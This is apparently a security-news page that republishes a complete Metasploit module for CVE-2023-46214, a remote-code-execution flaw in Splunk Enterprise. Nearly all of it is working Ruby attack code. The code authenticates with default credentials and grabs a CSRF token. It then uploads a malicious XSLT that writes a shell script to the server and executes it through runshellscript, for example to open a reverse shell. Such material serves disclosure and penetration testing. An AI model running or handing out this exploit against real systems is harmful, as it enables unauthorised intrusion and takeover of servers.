Security
Headlines
HeadlinesLatestCVEs

Headline

Splunk XSLT Upload Remote Code Execution

This Metasploit module exploits a remote code execution vulnerability in Splunk Enterprise. The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid credentials, typically admin:changeme by default. The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the runshellscript capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides the attacker with remote control over the compromised Splunk instance. The module is designed to work seamlessly, ensuring successful exploitation under the right conditions.

Packet Storm
#csrf#vulnerability#web#linux#js#git#java#php#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Splunk Authenticated XSLT Upload RCE',        'Description' => %q{          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid          credentials, typically 'admin:changeme' by default.          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides          the attacker with remote control over the compromised Splunk instance. The module is designed to work          seamlessly, ensuring successful exploitation under the right conditions.        },        'Author' => [          'nathan', # Writeup and PoC          'Valentin Lobstein', # Metasploit module          'h00die', # Assistance in module development        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-46214'],          ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],          ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory          ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup        ],        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [['Automatic', {}]],        'DisclosureDate' => '2023-11-28',        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8000        },        'Privileged' => false,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),        OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),        OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),      ]    )  end  def exploit    cookie_string ||= authenticate    unless cookie_string      fail_with(Failure::NoAccess, 'Authentication failed')    end    sleep(0.3)    csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)    unless csrf_token      fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')    end    sleep(0.3)    malicious_xsl = generate_malicious_xsl    text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)    unless text_value      fail_with(Failure::Unknown, 'File upload failed')    end    sleep(0.3)    jsid = get_job_search_id(csrf_token, updated_cookie_string)    unless jsid      fail_with(Failure::Unknown, 'Creating job failed')    end    sleep(0.3)    unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)      fail_with(Failure::Unknown, 'XSLT Transform failed')    end    sleep(0.3)    unless trigger_payload(jsid, csrf_token, updated_cookie_string)      fail_with(Failure::Unknown, 'Failed to execute reverse shell')    end  end  def check    unless splunk?      return CheckCode::Unknown('Target does not appear to be a Splunk instance')    end    begin      cookie_string = authenticate    rescue RuntimeError      cookie_string = nil    end    unless cookie_string      return CheckCode::Detected('The target is Splunk but authentication failed')    end    version = get_version_authenticated(cookie_string)    return CheckCode::Detected('Unable to determine Splunk version') unless version    if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||       version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))      return CheckCode::Appears("Exploitable version found: #{version}")    end    CheckCode::Safe("Non-vulnerable version found: #{version}")  end  def trigger_payload(jsid, csrf_token, cookie_string)    return nil unless jsid && csrf_token    runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')    runshellscript_data = {      'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""    }    upload_headers = {      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    print_status("Executing payload at #{runshellscript_url}")    res = send_request_cgi(      'uri' => runshellscript_url,      'method' => 'POST',      'vars_post' => runshellscript_data,      'headers' => upload_headers    )    unless res      print_error('Failed to execute payload: No response received')      return nil    end    if res.code == 201      print_good('Payload executed successfully')      return true    end    print_error("Failed to execute payload: Server returned status code #{res.code}")    return nil  end  def trigger_xslt_transform(jsid, text_value, cookie_string)    return nil unless jsid && text_value    exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')    exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"    xslt_headers = {      'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',      'Connection' => 'close',      'Upgrade-Insecure-Requests' => '1',      'Accept-Language' => 'en-US,en;q=0.5',      'Accept-Encoding' => 'gzip, deflate',      'X-Requested-With' => 'XMLHttpRequest',      'Cookie' => cookie_string    }    print_status("Triggering XSLT transformation at #{exploit_endpoint}")    res = send_request_cgi(      'uri' => exploit_endpoint,      'method' => 'GET',      'headers' => xslt_headers    )    unless res      print_error('Failed to trigger XSLT transformation: No response received')      return nil    end    if res.code == 200      print_good('XSLT transformation triggered successfully')      return true    end    print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")    return nil  end  def generate_malicious_xsl    encoded_payload = Rex::Text.html_encode(payload.encoded)    xsl_template = <<~XSL      <?xml version="1.0" encoding="UTF-8"?>      <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">        <xsl:template match="/">          <exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">            <xsl:text>#{encoded_payload}</xsl:text>          </exsl:document>        </xsl:template>      </xsl:stylesheet>    XSL    xsl_template  end  def get_job_search_id(csrf_token, cookie_string)    return nil unless csrf_token    jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')    upload_headers = {      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    jsid_data = {      'search' => '|search test|head 1'    }    print_status("Sending job search request to #{jsid_url}")    res = send_request_cgi(      'uri' => jsid_url,      'method' => 'POST',      'vars_post' => jsid_data,      'headers' => upload_headers,      'vars_get' => { 'output_mode' => 'json' }    )    unless res      print_error('Failed to initiate job search: No response received')      return nil    end    jsid = res.get_json_document['sid']    return jsid if jsid  end  def upload_malicious_file(file_content, csrf_token, cookie_string)    unless csrf_token      print_error('CSRF token not found')      return nil    end    post_data = Rex::MIME::Message.new    post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")    upload_headers = {      'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')    res = send_request_cgi(      'uri' => upload_url,      'method' => 'POST',      'data' => post_data.to_s,      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'headers' => upload_headers,      'vars_get' => {        'output_mode' => 'json',        'props.NO_BINARY_CHECK' => 1,        'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"      }    )    unless res      print_error('Malicious file upload failed: No response received')      return nil    end    if res.headers['Content-Type'].include?('application/json')      response_data = res.get_json_document    else      print_error('Response is not in JSON format')      return nil    end    if response_data.empty?      print_error('Failed to parse JSON or received empty JSON')      return nil    end    if response_data['messages'] && !response_data['messages'].empty?      text_value = response_data.dig('messages', 0, 'text')      if text_value.include?('concatenate')        print_error('Server responded with an error: concatenate found in the response')        return nil      end      print_good('Malicious file uploaded successfully')      return text_value    end    print_error('Server did not return a valid "messages" field')    return nil  end  def fetch_csrf_token(cookie_string)    print_status('Extracting CSRF token from cookies')    csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)    if csrf_token_match      csrf_token = csrf_token_match[1]      print_good("CSRF token successfully extracted: #{csrf_token}")      en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')      res = send_request_cgi({        'method' => 'GET',        'uri' => en_us_url,        'cookie' => cookie_string      })      updated_cookie_string = cookie_string      if res && res.code == 200        new_cookies = res.get_cookies        updated_cookie_string += new_cookies      end      return [csrf_token, updated_cookie_string]    end    fail_with(Failure::NotFound, 'CSRF token not found in cookies')  end  def get_version_authenticated(cookie_string)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),      'vars_get' => {        'output_mode' => 'json'      },      'headers' => {        'Cookie' => cookie_string      }    })    return nil unless res&.code == 200    body = res.get_json_document    Rex::Version.new(body.dig('generator', 'version'))  end  def splunk?    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/account/login')    })    return true if res&.body =~ /Splunk/    false  end  def authenticate    login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')    res = send_request_cgi({      'method' => 'GET',      'uri' => login_url    })    unless res      fail_with(Failure::Unreachable, 'No response received for authentication request')    end    cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]    unless cval_value      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')    end    auth_payload = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'cval' => cval_value,      'set_has_logged_in' => 'false'    }    res = send_request_cgi({      'method' => 'POST',      'uri' => login_url,      'cookie' => res.get_cookies,      'vars_post' => auth_payload    })    unless res && res.code == 200      fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')    end    print_good('Successfully authenticated on the Splunk instance')    res.get_cookies  endend

Related news

CVE-2023-46214: Remote code execution (RCE) in Splunk Enterprise through Insecure XML Parsing

In Splunk Enterprise versions below 9.0.7 and 9.1.2, Splunk Enterprise does not safely sanitize extensible stylesheet language transformations (XSLT) that users supply. This means that an attacker can upload malicious XSLT which can result in remote code execution on the Splunk Enterprise instance.

Packet Storm: Latest News

Ubuntu Security Notice USN-7015-4